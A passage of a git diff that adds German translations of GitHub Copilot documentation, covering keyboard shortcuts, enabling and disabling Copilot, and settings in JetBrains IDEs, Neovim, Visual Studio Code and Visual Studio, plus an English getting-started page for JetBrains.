+## Voraussetzungen
+
+Um {% data variables.product.prodname_copilot %} in einer JetBrains-IDE zu konfigurieren, musst du das {% data variables.product.prodname_copilot %}-Plug-In installieren. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_copilot %} in einer JetBrains-IDE](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide).
+
+## Tastenkombinationen für {% data variables.product.prodname_copilot %}
+
+Du kannst die Standardtastenkombinationen für Inlinevorschläge in deiner JetBrains-IDE verwenden, wenn du {% data variables.product.prodname_copilot %} verwendest. Alternativ kannst du die Tastenkombinationen für jeden bestimmten Befehl erneut an deine bevorzugten Tastaturkurzbefehle binden. Weitere Informationen zum erneuten Binden von Tastenkombinationen in deiner JetBrains-IDE findest du in der JetBrains-Dokumentation. Du kannst beispielsweise die [IntelliJ IDEA](https://www.jetbrains.com/help/idea/mastering-keyboard-shortcuts.html#choose-keymap)-Dokumentation anzeigen.
+
+{% mac %}
+
+| Aktion | Tastenkombination |
+|:---|:---|
+|Inlinevorschlag akzeptieren|<kbd>Registerkarte</kbd>|
+|Inlinevorschlag verwerfen|<kbd>ESC</kbd>|
+|Nächsten Inlinevorschlag anzeigen|<kbd>Option (⌥) oder ALT</kbd>+<kbd>]</kbd>|
+|Vorherigen Inlinevorschlag anzeigen|<kbd>Option (⌥) oder ALT</kbd>+<kbd>[</kbd>|
+|Inlinevorschlag auslösen|<kbd>Option (⌥)</kbd>+<kbd>\</kbd>|
+|Öffnen von {% data variables.product.prodname_copilot %} (zusätzliche Vorschläge im separaten Bereich)|<kbd>Option (⌥) oder ALT</kbd>+<kbd>EINGABETASTE</kbd> |
+
+{% endmac %}
+
+{% windows %}
+
+| Aktion | Tastenkombination |
+|:---|:---|
+|Inlinevorschlag akzeptieren|<kbd>Registerkarte</kbd>|
+|Inlinevorschlag verwerfen|<kbd>ESC</kbd>|
+|Nächsten Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>]</kbd>|
+|Vorherigen Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>[</kbd>|
+|Inlinevorschlag auslösen|<kbd>ALT</kbd>+<kbd>\</kbd>|
+|Öffnen von {% data variables.product.prodname_copilot %} (zusätzliche Vorschläge im separaten Bereich)|<kbd>ALT</kbd>+<kbd>EINGABETASTE</kbd> |
+
+{% endwindows %}
+
+{% linux %}
+
+| Aktion | Tastenkombination |
+|:---|:---|
+|Inlinevorschlag akzeptieren|<kbd>Registerkarte</kbd>|
+|Inlinevorschlag verwerfen|<kbd>ESC</kbd>|
+|Nächsten Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>]</kbd>|
+|Vorherigen Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>[</kbd>|
+|Inlinevorschlag auslösen|<kbd>ALT</kbd>+<kbd>\</kbd>|
+|Öffnen von {% data variables.product.prodname_copilot %} (zusätzliche Vorschläge im separaten Bereich)|<kbd>ALT</kbd>+<kbd>EINGABETASTE</kbd> |
+
+{% endlinux %}
+
+## Aktivieren oder Deaktivieren von {% data variables.product.prodname_copilot %}
+
+Du kannst {% data variables.product.prodname_copilot %} in deiner JetBrains-IDE aktivieren oder deaktivieren. Das Statussymbol von {% data variables.product.prodname_copilot %} im unteren Bereich des JetBrains-Fensters gibt an, ob {% data variables.product.prodname_copilot %} aktiviert oder deaktiviert ist. Falls aktiviert, ist das Symbol hervorgehoben. Falls deaktiviert, ist das Symbol abgeblendet.
+
+1. Um {% data variables.product.prodname_copilot %} zu aktivieren oder zu deaktivieren, klicke im unteren Panel des JetBrains-Fensters auf das Statussymbol.
+   ![Statussymbol in JetBrains](/assets/images/help/copilot/status-icon-jetbrains.png)
+2. Wenn du {% data variables.product.prodname_copilot %} deaktivierst, wirst du gefragt, ob du es global oder für die Sprache der aktuell bearbeiteten Datei deaktivieren möchtest. Für eine globale Deaktivierung klicke auf **Vervollständigungen deaktivieren**. Klicke alternativ auf die sprachspezifische Schaltfläche, um {% data variables.product.prodname_copilot %} für die angegebene Sprache zu deaktivieren.
+   ![Deaktivieren von {% data variables.product.prodname_copilot %}, global oder für die aktuelle Sprache](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png)
+
+## Konfigurieren erweiterter Einstellungen für {% data variables.product.prodname_copilot %}
+
+Du kannst erweiterte Einstellungen für {% data variables.product.prodname_copilot %} in deiner JetBrains-IDE verwalten, z. B. wie deine IDE Codevervollständigungen anzeigt, und welche Sprachen du für {% data variables.product.prodname_copilot %} aktivieren oder deaktivieren möchtest.
+
+1. Klicke in deiner JetBrains-IDE auf das Menü **Datei** und dann auf **Einstellungen**.
+1. Klicke unter **Sprachen und Frameworks** auf **{% data variables.product.prodname_copilot %}** .
+1. Bearbeite die Einstellungen gemäß deiner persönlichen Voreinstellungen.
+   - Wenn du das Verhalten, die Darstellung von Codevorschlägen und ob automatisch nach Updates gesucht werden soll, anpassen möchtest, aktiviere oder deaktiviere die entsprechenden Kontrollkästchen.
+   - Wenn du dich für automatische Updates entschieden hast, kannst du wählen, ob du stabile, aber weniger häufige Updates erhalten möchtest, oder nächtliche Updates, die weniger stabil sind. Klicke auf das Dropdownmenü **Kanal aktualisieren**, und wähle **Stabil** für stabile Updates oder **Nächtlich** für nächtliche Updates aus.
+   - Aktiviere bzw. deaktiviere unter „Deaktivierte Sprachen“ die entsprechenden Kontrollkästchen, um Sprachen für {% data variables.product.prodname_copilot %} zu deaktivieren.
+
+{% data reusables.copilot.dotcom-settings %}
diff --git a/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-neovim.md b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-neovim.md
new file mode 100644
index 0000000000..043846fffa
--- /dev/null
+++ b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-neovim.md
@@ -0,0 +1,24 @@
+---
+title: GitHub Copilot in Neovim konfigurieren
+intro: 'Du kannst in Neovim {% data variables.product.prodname_copilot %} aktivieren, konfigurieren oder deaktivieren.'
+product: '{% data reusables.gated-features.copilot %}'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+shortTitle: Neovim
+ms.openlocfilehash: 86d052b4ff7402fef92afdc1ae4e1af03f91bd6e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147080208'
+---
+## {% data variables.product.prodname_copilot %} in Neovim konfigurieren
+
+Eine Anleitung zum Konfigurieren von {% data variables.product.prodname_copilot %} in Neovim findest du in der Dokumentation zu {% data variables.product.prodname_copilot %} in Neovim, indem du den folgenden Befehl ausführst.
+
+
+    :help copilot
+
+{% data reusables.copilot.dotcom-settings %}
diff --git a/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md
new file mode 100644
index 0000000000..d47566163b
--- /dev/null
+++ b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md
@@ -0,0 +1,118 @@
+---
+title: Konfigurieren von GitHub Copilot in Visual Studio Code
+intro: 'Du kannst {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} aktivieren, konfigurieren und deaktivieren.'
+product: '{% data reusables.gated-features.copilot %}'
+versions:
+  feature: copilot
+shortTitle: Visual Studio Code
+topics:
+  - Copilot
+ms.openlocfilehash: 0c91f9c11f98669ba6bcbf84113a629ae6d53044
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080183'
+---
+## Informationen zu {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}
+
+Wenn du {% data variables.product.prodname_vscode %} verwendest, kann {% data variables.product.prodname_copilot %} Code bei der Eingabe automatisch vervollständigen. Nach der Installation kannst du {% data variables.product.prodname_copilot %} aktivieren oder deaktivieren. Außerdem kannst du erweiterte Einstellungen innerhalb von {% data variables.product.prodname_vscode %} oder auf {% data variables.product.prodname_dotcom_the_website %} konfigurieren.
+
+## Voraussetzungen
+
+Um {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} zu konfigurieren, musst du das Plug-In {% data variables.product.prodname_copilot %} installieren. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code).
+
+## Tastenkombinationen für {% data variables.product.prodname_copilot %}
+
+Bei der Nutzung von {% data variables.product.prodname_copilot %} kannst du die Standardtastenkombinationen in {% data variables.product.prodname_vscode %} verwenden. Alternativ kannst du die Tastenkombinationen im Editor für Tastenkombinationen nach deinen Wünschen neu mit einzelnen Befehlen verknüpfen. Du kannst im Editor für Tastenkombinationen anhand des Befehlsnamens nach jeder Tastenkombination suchen.
+
+{% mac %}
+
+| Aktion | Tastenkombination | Befehlsname |
+|:---|:---|:---|
+|Inlinevorschlag akzeptieren|<kbd>Registerkarte</kbd>|editor.action.inlineSuggest.commit|
+|Inlinevorschlag verwerfen|<kbd>ESC</kbd>|editor.action.inlineSuggest.hide|
+|Nächsten Inlinevorschlag anzeigen| <kbd>Option (⌥)</kbd>+<kbd>]</kbd><br> |editor.action.inlineSuggest.showNext|
+|Vorherigen Inlinevorschlag anzeigen| <kbd>Option (⌥)</kbd>+<kbd>[</kbd><br> |editor.action.inlineSuggest.showPrevious|
+|Inlinevorschlag auslösen| <kbd>Option (⌥)</kbd>+<kbd>\</kbd><br> |editor.action.inlineSuggest.trigger|
+|Öffnen von {% data variables.product.prodname_copilot %} (zusätzliche Vorschläge im separaten Bereich)|<kbd>STRG</kbd>+<kbd>EINGABE</kbd>|github.copilot.generate|
+|{% data variables.product.prodname_copilot %} ein-/ausschalten|_Keine Standardtastenkombination_|github.copilot.toggleCopilot|
+
+{% endmac %}
+
+{% windows %}
+
+| Aktion | Tastenkombination | Befehlsname |
+|:---|:---|:---|
+|Inlinevorschlag akzeptieren|<kbd>Registerkarte</kbd>|editor.action.inlineSuggest.commit|
+|Inlinevorschlag verwerfen|<kbd>ESC</kbd>|editor.action.inlineSuggest.hide|
+|Nächsten Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>]</kbd> |editor.action.inlineSuggest.showNext|
+|Vorherigen Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>[</kbd>|editor.action.inlineSuggest.showPrevious|
+|Inlinevorschlag auslösen|<kbd>ALT</kbd>+<kbd>\</kbd>|editor.action.inlineSuggest.trigger|
+|Öffnen von {% data variables.product.prodname_copilot %} (zusätzliche Vorschläge im separaten Bereich)|<kbd>STRG</kbd>+<kbd>EINGABETASTE</kbd>|github.copilot.generate|
+|{% data variables.product.prodname_copilot %} ein-/ausschalten|_Keine Standardtastenkombination_|github.copilot.toggleCopilot|
+
+{% endwindows %}
+
+
+{% linux %}
+
+| Aktion | Tastenkombination | Befehlsname |
+|:---|:---|:---|
+|Inlinevorschlag akzeptieren|<kbd>Registerkarte</kbd>|editor.action.inlineSuggest.commit|
+|Inlinevorschlag verwerfen|<kbd>ESC</kbd>|editor.action.inlineSuggest.hide|
+|Nächsten Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>]</kbd> |editor.action.inlineSuggest.showNext|
+|Vorherigen Inlinevorschlag anzeigen|<kbd>ALT</kbd>+<kbd>[</kbd>|editor.action.inlineSuggest.showPrevious|
+|Inlinevorschlag auslösen|<kbd>ALT</kbd>+<kbd>\</kbd>|editor.action.inlineSuggest.trigger|
+|Öffnen von {% data variables.product.prodname_copilot %} (zusätzliche Vorschläge im separaten Bereich)|<kbd>STRG</kbd>+<kbd>EINGABETASTE</kbd>|github.copilot.generate|
+|{% data variables.product.prodname_copilot %} ein-/ausschalten|_Keine Standardtastenkombination_|github.copilot.toggleCopilot|
+
+{% endlinux %}
+
+## Tastenkombinationen neu binden
+
+Wenn du bei Verwendung von {% data variables.product.prodname_copilot %} nicht die Standardtastenkombinationen in {% data variables.product.prodname_vscode %} verwenden möchtest, kannst du die Tastenkombinationen im Editor für Tastenkombinationen nach deinen Wünschen neu mit einzelnen Befehlen verknüpfen.
+
+1. Klicke im Menü **Datei** auf **Einstellungen** und dann auf **Tastenkombinationen**.
+![Screenshot von Visual Studio Code-Tastenkombinationen](/assets/images/help/copilot/vsc-keyboard-shortcuts.png)
+1. Suche im Editor „Tastenkombinationen“ nach dem Befehlsnamen der Tastenkombination, die du ändern möchtest.
+![Screenshot der Tastenkombinationen-Suchleiste](/assets/images/help/copilot/vsc-shortcut-search-bar.png)
+1. Klicke neben dem Befehl, den du ändern möchtest, auf das Stiftsymbol.
+![Screenshot des Editors für Tastenkombinationen](/assets/images/help/copilot/vsc-edit-shortcuts.png)
+1. Gib die Tastaturanschläge ein, die du für den Befehl verwenden möchtest, und drücke dann <kbd>EINGABE</kbd>/<kbd>EINGABE</kbd>.
+![Screenshot des Textfelds zum Bearbeiten von Tastenkombinationen](/assets/images/help/copilot/vsc-edit-shortcuts-textbox.png)
+
+{% data reusables.copilot.enabling-or-disabling-in-vsc %}
+
+## Aktivieren oder Deaktivieren von Inlinevorschlägen
+
+Du kannst Inlinevorschläge für {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} aktivieren oder deaktivieren. 
+
+1. Navigiere im Menü **Datei** zu **Einstellungen**, und klicke auf **Einstellungen**.
+![Screenshot der Einstellungen für {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/vsc-settings.png)
+1. Klicke im linken Bereich der Registerkarte „Einstellungen“ auf **Erweiterungen**, und wähle dann **Copilot** aus.
+1. Aktiviere oder deaktiviere das Kontrollkästchen unter „Inlinevorschläge:Aktivieren“, um Inlinevorschläge zu aktivieren oder zu deaktivieren.
+
+## Aktivieren oder Deaktivieren von {% data variables.product.prodname_copilot %} für bestimmte Sprachen
+
+Du kannst angeben, für welche Sprachen du {% data variables.product.prodname_copilot %} aktivieren oder deaktivieren möchtest.
+
+1. Klicke in {% data variables.product.prodname_vscode %} auf die Registerkarte **Erweiterungen**, und navigiere dann zum Abschnitt **Copilot**. Weitere Informationen findest du unter [Aktivieren und Deaktivieren von Inlinevorschlägen](#enabling-and-disabling-inline-suggestions).
+1. Klicke unter „Copilot für angegebene Sprachen aktivieren oder deaktivieren“ auf **In settings.json bearbeiten**.
+1. Füge in der Datei _settings.json_ die Sprachen hinzu, für die du {% data variables.product.prodname_copilot %} aktivieren möchtest, oder entferne sie zum Deaktivieren. Wenn du beispielsweise Python in {% data variables.product.prodname_copilot %} aktivieren möchtest, füge der Liste `"python": true` hinzu, und stelle sicher, dass dem letzten Listenelement ein Komma nachgestellt ist.
+
+    ```json
+    {
+        "editor.inlineSuggest.enabled": true,
+        "github.copilot.enable": {
+            "*": true,
+            "yaml": false,
+            "plaintext": false,
+            "markdown": true,
+            "javascript": true,
+            "python": true
+        }
+    }
+    ```
+
+{% data reusables.copilot.dotcom-settings %}
diff --git a/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md
new file mode 100644
index 0000000000..554678e0c2
--- /dev/null
+++ b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md
@@ -0,0 +1,60 @@
+---
+title: Konfigurieren von GitHub Copilot in Visual Studio
+intro: 'Du kannst {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %} aktivieren, konfigurieren und deaktivieren.'
+product: '{% data reusables.gated-features.copilot %}'
+versions:
+  feature: copilot
+shortTitle: Visual Studio
+topics:
+  - Copilot
+ms.openlocfilehash: cb24557b15eafd4a5be8ef1a991ae3c43f376c67
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147786029'
+---
+## Informationen zu {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}
+
+Wenn du {% data variables.product.prodname_vs %} verwendest, kann {% data variables.product.prodname_copilot %} Code bei der Eingabe automatisch vervollständigen. Nach der Installation kannst du {% data variables.product.prodname_copilot %} aktivieren oder deaktivieren. Außerdem kannst du erweiterte Einstellungen innerhalb von {% data variables.product.prodname_vs %} oder auf {% data variables.product.prodname_dotcom_the_website %} konfigurieren.
+
+## Voraussetzungen
+
+Um {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %} zu konfigurieren, musst du das Plug-In {% data variables.product.prodname_copilot %} installieren. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio).
+
+## Tastenkombinationen für {% data variables.product.prodname_copilot %}
+
+Bei der Nutzung von {% data variables.product.prodname_copilot %} kannst du die Standardtastenkombinationen in {% data variables.product.prodname_vs %} verwenden. Alternativ kannst du die Tastenkombinationen in den Einstellungen unter „Extras“ für {% data variables.product.prodname_vs %} mit deinen bevorzugten Tastenkombinationen für jeden spezifischen Befehl neu binden. Du kannst im Editor für Tastenkombinationen nach jeder Tastenkombination anhand ihres Befehlsnamens suchen.
+
+| Aktion | Tastenkombination | Befehlsname |
+|:---|:---|:---|
+|Nächsten Inlinevorschlag anzeigen|<kbd>STRG</kbd>+<kbd>ALT</kbd>+<kbd>]</kbd>|Tools.Nextsuggestion|
+|Vorherigen Inlinevorschlag anzeigen|<kbd>STRG</kbd>+<kbd>ALT</kbd>+<kbd>[</kbd>|Tools.Previoussuggestion|
+|Inlinevorschlag auslösen|<kbd>STRG</kbd>+<kbd>ALT</kbd>+<kbd>\</kbd>|Edit.Copilot.TriggerInlineSuggestion|
+
+## Tastenkombinationen neu binden
+
+Wenn du bei Verwendung von {% data variables.product.prodname_vs %} nicht die Standardtastenkombinationen in {% data variables.product.prodname_copilot %} verwenden möchtest, kannst du die Tastenkombinationen im Editor für Tastenkombinationen mit deinen bevorzugten Tastenkombinationen für die einzelnen Befehle neu binden.
+
+1. Klicke auf der Symbolleiste von {% data variables.product.prodname_vs %} unter **Extras** auf **Optionen**.
+   ![Screenshot der Option „Optionen“ auf der Symbolleiste von {% data variables.product.prodname_vs %}](/assets/images/help/copilot/vs-toolbar-options.png)
+1. Klicke im Dialogfeld „Optionen“ unter **Umgebung** auf **Tastatur**.
+   ![Screenshot der Option „Tastatur“ im Dialogfeld „Optionen“](/assets/images/help/copilot/vs-options-dialogue.png)
+1. Suche unter „Befehle mit folgendem Inhalt anzeigen“ den Befehl, den du neu binden möchtest.
+   ![Screenshot der Suchleiste „Befehle mit folgendem Inhalt anzeigen“](/assets/images/help/copilot/vs-show-commands-containing.png)
+1. Gib unter „Tastenkombination drücken“ die Tastenkombination ein, die du dem Befehl zuweisen möchtest, und klicke dann auf **Zuweisen**.
+   ![Screenshot der Tastenkombinationszuweisung](/assets/images/help/copilot/vs-rebind-shortcut.png)
+
+{% data reusables.copilot.enabling-or-disabling-vs %}
+
+## Konfigurieren von ReSharper für {% data variables.product.prodname_copilot %}
+
+Falls du ReSharper verwendest, funktioniert {% data variables.product.prodname_copilot %} möglicherweise am besten, wenn du ReSharper so konfigurierst, dass natives IntelliSense von {% data variables.product.prodname_copilot %} verwendet wird. Weitere Informationen zu ReSharper findest du in der [ReSharper-Dokumentation](https://www.jetbrains.com/resharper/documentation/documentation.html).
+
+1. Klicke auf der Symbolleiste von {% data variables.product.prodname_vs %} unter **Extras** auf **Optionen**.
+   ![Screenshot der Option „Optionen“ auf der Symbolleiste von {% data variables.product.prodname_vs %}](/assets/images/help/copilot/vs-toolbar-options.png)
+1. Klicke im Dialogfeld „Optionen“ unter **Umgebung** auf **IntelliSense** und dann auf **Allgemein**.
+    ![Screenshot der Option „IntelliSense“ im Dialogfeld „Optionen“](/assets/images/help/copilot/vs-options-intellisense.png)
+1. Wähle unter „Allgemein“ zunächst **Visual Studio** aus, und klicke dann auf **Speichern**.
+
+{% data reusables.copilot.dotcom-settings %}
diff --git a/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom.md b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom.md
new file mode 100644
index 0000000000..379f571a69
--- /dev/null
+++ b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom.md
@@ -0,0 +1,25 @@
+---
+title: Konfigurieren von GitHub Copilot-Einstellungen für GitHub.com
+intro: 'Du kannst das Verhalten von {% data variables.product.prodname_copilot %} für {% data variables.product.prodname_dotcom_the_website %} konfigurieren, was sich darauf auswirkt, wie {% data variables.product.prodname_copilot %} in einer IDE, die du benutzt, funktioniert.'
+product: '{% data reusables.gated-features.copilot %}'
+miniTocMaxHeadingLevel: 3
+topics:
+  - Copilot
+versions:
+  feature: copilot
+redirect_from:
+  - /github/copilot/about-github-copilot-telemetry
+  - /github/copilot/github-copilot-telemetry-terms
+shortTitle: GitHub.com
+ms.openlocfilehash: cc87328504e3d9eb5e2bce83d981098b7f989ae0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108307'
+---
+## Informationen zu {% data variables.product.prodname_copilot %}-Einstellungen für {% data variables.product.prodname_dotcom_the_website %}
+
+Zusätzlich zur Konfiguration des {% data variables.product.prodname_copilot %}-Plug-Ins in deiner unterstützten IDE kannst du Einstellungen für {% data variables.product.prodname_copilot %} für {% data variables.product.prodname_dotcom_the_website %} konfigurieren. Die Einstellungen gelten überall, wo du {% data variables.product.prodname_copilot %} verwendest.
+
+{% data reusables.copilot.dotcom-settings %}
diff --git a/translations/de-DE/content/copilot/configuring-github-copilot/index.md b/translations/de-DE/content/copilot/configuring-github-copilot/index.md
new file mode 100644
index 0000000000..cdf90339a3
--- /dev/null
+++ b/translations/de-DE/content/copilot/configuring-github-copilot/index.md
@@ -0,0 +1,22 @@
+---
+title: GitHub Copilot konfigurieren
+shortTitle: Configure GitHub Copilot
+intro: 'Du kannst {% data variables.product.prodname_copilot %} in einer unterstützten IDE aktivieren, konfigurieren oder deaktivieren.'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+children:
+  - /configuring-github-copilot-settings-on-githubcom
+  - /configuring-github-copilot-in-visual-studio-code
+  - /configuring-github-copilot-in-visual-studio
+  - /configuring-github-copilot-in-a-jetbrains-ide
+  - /configuring-github-copilot-in-neovim
+ms.openlocfilehash: e98ac2a1ac8c884776db54e3b8d2a1ea51fbebee
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080178'
+---
+
diff --git a/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md
new file mode 100644
index 0000000000..784262db66
--- /dev/null
+++ b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md
@@ -0,0 +1,121 @@
+---
+title: Getting started with GitHub Copilot in a JetBrains IDE
+shortTitle: JetBrains IDE
+intro: 'Learn how to install {% data variables.product.prodname_copilot %} in a JetBrains IDE, and start seeing suggestions as you write comments and code.'
+product: '{% data reusables.gated-features.copilot %}'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+---
+
+## About {% data variables.product.prodname_copilot %} and JetBrains IDEs
+
+{% data reusables.copilot.procedural-intro %}
+
+If you use a JetBrains IDE, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within a JetBrains IDE for macOS, Windows, or Linux.
+
+## Prerequisites
+
+{% data reusables.copilot.jetbrains-ides %}
+
+## Installing the JetBrains extension
+
+To use {% data variables.product.prodname_copilot %} in a JetBrains IDE, you must install the {% data variables.product.prodname_copilot %} extension. The following procedure will guide you through installation of the {% data variables.product.prodname_copilot %} plugin in IntelliJ IDEA. Steps to install the plugin in another supported IDE may differ.
+
+1. In your JetBrains IDE, under the **File** menu for Windows or under the name of your IDE for Mac (for example, **PyCharm** or **IntelliJ**), click **Settings** for Windows or **Preferences** for Mac.
+2. In the left-side menu of the **Settings/Preferences** dialog box, click **Plugins**.
+3. At the top of the **Settings/Preferences** dialog box, click **Marketplace**. In the search bar, search for **{% data variables.product.prodname_copilot %}**, then click **Install**.
+   ![Screenshot of Marketplace search](/assets/images/help/copilot/jetbrains-marketplace.png)
+1. After {% data variables.product.prodname_copilot %} is installed, click **Restart IDE**.
+1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**. 
+    ![Screenshot of JetBrains tools menu](/assets/images/help/copilot/jetbrains-tools-menu.png)
+1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**.
+    ![Screenshot of device code copy and open](/assets/images/help/copilot/device-code-copy-and-open.png)
+1. A device activation window will open in your browser. Paste the device code, then click **Continue**.
+
+   - To paste the code in Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>v</kbd>.
+   - To paste the code in macOS, press <kbd>command</kbd>+<kbd>v</kbd>.
+1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**.
+1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**.
+   ![Screenshot of JetBrains IDE permissions confirmation](/assets/images/help/copilot/jetbrains-ide-confirmation.png)
+   
+
+## Seeing your first suggestion
+
+{% data reusables.copilot.code-examples-limitations %}
+
+{% data reusables.copilot.supported-languages %} The following samples are in Java, but other languages will work similarly.
+
+{% data reusables.copilot.create-java-file %}
+1. In the Java file, create a class by typing `class Test`.
+   {% data variables.product.prodname_copilot %} will automatically suggest a class body in grayed text, as shown below. The exact suggestion may vary.
+   ![Screenshot of the Java class body suggestion](/assets/images/help/copilot/java-class-body-suggestion-jetbrains.png)
+{% data reusables.copilot.accept-suggestion %}
+1. To prompt {% data variables.product.prodname_copilot %} to suggest a function body, type the following line below the bracket of the `main` function. The exact suggestion may vary.
+{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %}
+
+   ![Screenshot of the Java function body suggestion](/assets/images/help/copilot/java-function-body-suggestion-jetbrains.png)
+{% data reusables.copilot.accept-suggestion %}
+
+{% data variables.product.prodname_copilot %} will attempt to match the context and style of your code. You can always edit the suggested code.
+
+## Seeing alternative suggestions
+
+{% data reusables.copilot.alternative-suggestions %}
+
+{% data reusables.copilot.create-java-file %}
+1. To prompt {% data variables.product.prodname_copilot %} to show you a suggestion, type the following line in the Java file.
+{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %}
+{% data reusables.copilot.see-alternative-suggestions %}
+
+   | OS | See next suggestion | See previous suggestion |
+   | :- | :- | :- |
+   | macOS | <kbd>Option</kbd>+<kbd>]</kbd> | <kbd>Option</kbd>+<kbd>[</kbd> |
+   | Windows | <kbd>Alt</kbd>+<kbd>]</kbd> | <kbd>Alt</kbd>+<kbd>[</kbd> |
+   | Linux | <kbd>Alt</kbd>+<kbd>]</kbd> | <kbd>Alt</kbd>+<kbd>[</kbd> |
+{% data reusables.copilot.accept-or-reject-suggestion %}
+
+## Seeing multiple suggestions in a new tab
+
+{% data reusables.copilot.suggestions-new-tab %}
+
+{% data reusables.copilot.create-java-file %}
+1. To prompt {% data variables.product.prodname_copilot %} to show you a suggestion, type the following line in the Java file.
+{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %}
+1. Open a new tab with multiple additional suggestions.
+    - On macOS, press <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>A</kbd>, then click **Open GitHub Copilot**, or press <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>\</kbd> to open the new tab immediately.
+    - On Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>Enter</kbd>, then click **Open GitHub Copilot**.
+  ![Screenshot of dialogue to open Copilot](/assets/images/help/copilot/open-copilot-tab-jetbrains.png)
+1. To accept a suggestion, above the suggestion, click **Accept Solution**. To reject all suggestions, close the tab.
+
+## Generating code suggestions from comments
+
+{% data reusables.copilot.generating-suggestions-from-comments %}
+
+{% data reusables.copilot.create-java-file %}
+1. To prompt {% data variables.product.prodname_copilot %} to suggest an implementation of a function in the Java file, type the following lines.
+    ```java{:copy}
+    // find all images without alternate text
+    // and give them a red border
+    void process () {
+    ```
+  ![Screenshot of the Java function body suggestion](/assets/images/help/copilot/comment-suggestion-jetbrains.png)
+
+## Enabling and disabling {% data variables.product.prodname_copilot %}
+
+You can enable or disable {% data variables.product.prodname_copilot %} for all languages, or for individual languages. The {% data variables.product.prodname_copilot %} status icon in the bottom panel of your JetBrains IDE window indicates whether {% data variables.product.prodname_copilot %} is enabled or disabled. When enabled, the icon is highlighted. When disabled, the icon is grayed out.
+
+1. To enable or disable {% data variables.product.prodname_copilot %}, click the status icon in the bottom panel of the JetBrains window.
+   ![Screenshot of the status icon in IntelliJ IDEA](/assets/images/help/copilot/status-icon-jetbrains.png)
